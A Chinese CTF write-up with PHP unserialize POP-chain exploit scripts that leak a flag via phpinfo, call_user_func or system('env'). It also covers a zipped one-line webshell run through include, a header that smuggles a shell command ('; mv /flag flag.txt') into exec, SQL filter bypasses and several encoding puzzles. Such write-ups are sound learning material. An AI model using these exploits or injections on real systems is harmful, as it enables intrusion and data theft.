1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php highlight_file (__FILE__ );class Fun { private $func = 'call_user_func_array' ; public function __call ($f ,$p ) { call_user_func ($this ->func,$f ,$p ); } } class Test { public function __call ($f ,$p ) { echo getenv ("FLAG" ); } public function __wakeup ( ) { echo "serialize me?" ; } } class A { public $a ; public function __get ($p ) { if (preg_match ("/Test/" ,get_class ($this ->a))){ return "No test in Prod\n" ; } return $this ->a->$p (); } } class B { public $p ; public function __destruct ( ) { $p = $this ->p; echo $this ->a->$p ; } } if (isset ($_REQUEST ['begin' ])){ unserialize ($_REQUEST ['begin' ]); } ?>
这道题的解法很多,这里总结一下也方便日后的学习:
解法一: 利用A类的 $this->a->$p() 这条语句,让$p=”phpinfo”,从而通过phpinfo()查看FLAG环境变量。 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php ... class A { public $a ; public function __construct ( ) { $this ->a = new Fun (); } ... } class B { public $p ; public function __construct ( ) { $this ->a = new A (); $this ->p = 'phpinfo' ; } ... } $a =new B ();echo urlencode (serialize ($a ));?>
解法二: 先来补充知识点: call_user_func — 把第一个参数作为回调函数调用. 说明: call_user_func(callable $callback, mixed …$args): mixed 第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数. 根据官方文档介绍的call_user_func的用法,可以在Fun类中,将成员变量 func = array(new Test,’__call’); 注意这里如果这样写 func = array(“Test”,’__call’); 会抛出一个warning级别的错误: Warning: call_user_func() expects parameter 1 to be a valid callback, non-static method Test::__call() cannot be called statically in …(为什么会是这样,还不理解,先放在这吧). exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class Fun { private $func = 'call_user_func_array' ; function __construct ( ) { $this ->func = array (new Test (),'__call' ); } } class Test {} class A { public $a ; function __construct ( ) { $this -> a = new Fun (); } } class B { public $p ; function __construct ( ) { $this ->a = new A (); $this ->p = b; } } $a = new B ();echo urlencode (serialize ($a ));?>
解法三: 同样利用Fun类的call_user_func(),不过是利用了函数system通过env查看环境变量。 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class Fun { private $func = 'call_user_func_array' ; function __construct ( ) { $this ->func = "system" ; } public function __call ($f ,$p ) { call_user_func ($this ->func,$f ,$p ); } } class Test {} class A { public $a ; function __construct ( ) { $this ->a = new Fun (); } } class B { public $p ; function __construct ( ) { $this ->a = new A (); $this ->p = "env" ; } } $a = new B ();echo serialize ($a );?>
zupload-pro-plus-max
源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php error_reporting (0 );if ($_SERVER ['REQUEST_METHOD' ] == 'GET' ) { if (!isset ($_GET ['action' ])) { header ('Location: /?action=upload' ); die (); } if ($_GET ['action' ][0 ] === '/' || substr_count ($_GET ['action' ], '/' ) > 1 ) { die ('<h1>Invalid action</h1>' ); } die (include ($_GET ['action' ])); } else if ($_SERVER ['REQUEST_METHOD' ] == 'POST' ) { $file = $_FILES ['file' ]; $file_name = $file ['name' ]; $file_tmp = $file ['tmp_name' ]; $file_size = $file ['size' ]; $file_error = $file ['error' ]; $file_ext = explode ('.' , $file_name ); $file_ext = strtolower (end ($file_ext )); $allowed = array ('zip' ); if (in_array ($file_ext , $allowed ) && (new ZipArchive ())->open ($file_tmp ) === true ) { if ($file_error === 0 ) { if ($file_size <= 2097152 ) { $file_destination = 'uploads/' . $file_name ; if (move_uploaded_file ($file_tmp , $file_destination )) { echo json_encode (array ( 'status' => 'ok' , 'message' => 'File uploaded successfully' , 'url' => preg_split ('/\?/' , $_SERVER ['HTTP_REFERER' ])[0 ] . $file_destination )); } } } } else { echo json_encode (array ( 'status' => 'error' , 'message' => 'Only zip files are allowed' )); } }
include 表达式包含并运行指定文件。 将一句话木马压缩为zip文件上传,然后利用include运行zip文件 (include会把zip文件当作php文件运行),连接蚁剑拿到flag
zupload-pro-plus-max-ultra
源代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php error_reporting (0 );if ($_SERVER ['REQUEST_METHOD' ] == 'GET' ) { die (file_get_contents ('./upload' )); } else if ($_SERVER ['REQUEST_METHOD' ] == 'POST' ) { $file = $_FILES ['file' ]; $file_name = $file ['name' ]; $file_tmp = $file ['tmp_name' ]; $file_size = $file ['size' ]; $file_error = $file ['error' ]; $extract_to = $_SERVER ['HTTP_X_EXTRACT_TO' ] ?? 'uploads/' ; $file_ext = explode ('.' , $file_name ); $file_ext = strtolower (end ($file_ext )); $allowed = array ('zip' ); if (in_array ($file_ext , $allowed )) { if ($file_error === 0 ) { if ($file_size <= 2097152 ) { exec ('unzip ' . $file_tmp . ' -d ' . $extract_to ); echo json_encode (array ( 'status' => 'ok' , 'message' => 'File uploaded successfully' , 'url' => preg_split ('/\?/' , $_SERVER ['HTTP_REFERER' ])[0 ] . $file_destination )); } } } else { echo json_encode (array ( 'status' => 'error' , 'message' => 'Only zip files are allowed' )); } }
这题http请求header加上X-EXTRACT-TO: /uploads;mv /flag flag.txt 再随便上传个文件,然后访问 /flag.txt 把 Flag 下载下来就行了。 具体实现原理就是拼接两个命令,然后用exec同时实现,就像下面这样(exec只会返回执行结果的最后一行):
sql教学局
这题在拿/flag下的第三段flag时思路有点错了。想的是udf提权,其实是用load_file()直接读取。也好可以补一下udf提权的知识。
通过尝试发现过滤了以下关键字:
1 2 3 4 5 6 不能用: = and & 空格 < > sleep 以下会替换为空: or (不区分大小写,不限次数) select(不区分大小写) from
替换为空可以用嵌套的方式绕过, = 用like替换绕过, 空格用/**/替换绕过。
misc
tupper
用这个网站讲附加拼接的字符串转化为图片,即得到flag
https://tuppers-formula.ovh/
又学到了一种加密方式。。
devil's word
看附件:
1 leu lia leu ng leu cai leu jau leu e cai b cai jau sa leng cai ng ng f leu b leu e sa leng cai cai ng f cai cai sa sa leu e cai a leu bo leu f cai ng ng f leu sii leu jau sa sii leu c leu ng leu sa cai sii cai d
看题目”魔鬼的语言”,搜一下猜想是温州话,其实就是温州话的0-9发音,单个字母就表示单个字母(无语了,当时没想到)。根据温州话的发音,得到这个对应关系:
1 2 3 4 5 6 7 8 9 leng 0 lia 2 sa 3 sii 4 ng 5 leu 6 cai 7 bo 8 jau 9
替换之后赛博厨子解码得到flag
你知道中国文化吗1.0
文本24个字符分一组→base32解码→八卦转8进制→8进制转字符串→字符串转社会主义编码→社会主义解码→字符串栅栏解密得到最后的flag。
八卦对应数字:
1 2 3 4 5 6 7 8 ☰ 0 ☱ 1 ☲ 2 ☳ 3 ☴ 4 ☵ 5 ☶ 6 ☷ 7
其中base32解码脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import base64with open ("附件.txt" , 'r' ,encoding='utf-8' ) as f: while True : a = f.readline() if a == "" : break a = a.strip() try : b = base64.b32decode(a) except : pass with open ("八卦.txt" , 'a' ,encoding='utf-8' ) as m: m.write(b.decode('utf-8' )+"\n" )
这题麻烦的地方就是有的分组里面有特殊字符 $ & @,这些特殊字符需要替换成大写英文字母或者数字才能正确编码,这里的一个思路就是找有没有相似的分组,将特殊字符替换成对应位置的字符即可。(一个特殊字符替换成多个字符都有可能正确解码为八卦符,但是这样好像并不影响结果)
下一站上岸!
题目描述: 某同学在考公的时候看到这样一道题,发现自己怎么也找不到图形的共同特征或规律你能帮帮他吗?
给的图片: zsteg图片,发现隐写内容: 即: 5o+Q56S6OuaRqeaWr+WvhueggQ==
base64解密得到(base64编码由a-zA-Z0-9+/组成):
根据每个图形的交点数得到: 221022201122120120111011110222012101 将0替换成’ ‘ 1替换成’.’ 2替换成’-‘再解码得到flag (至于为什么这么替换一共6种情况可以fuzz一下)
这次比赛收获很大。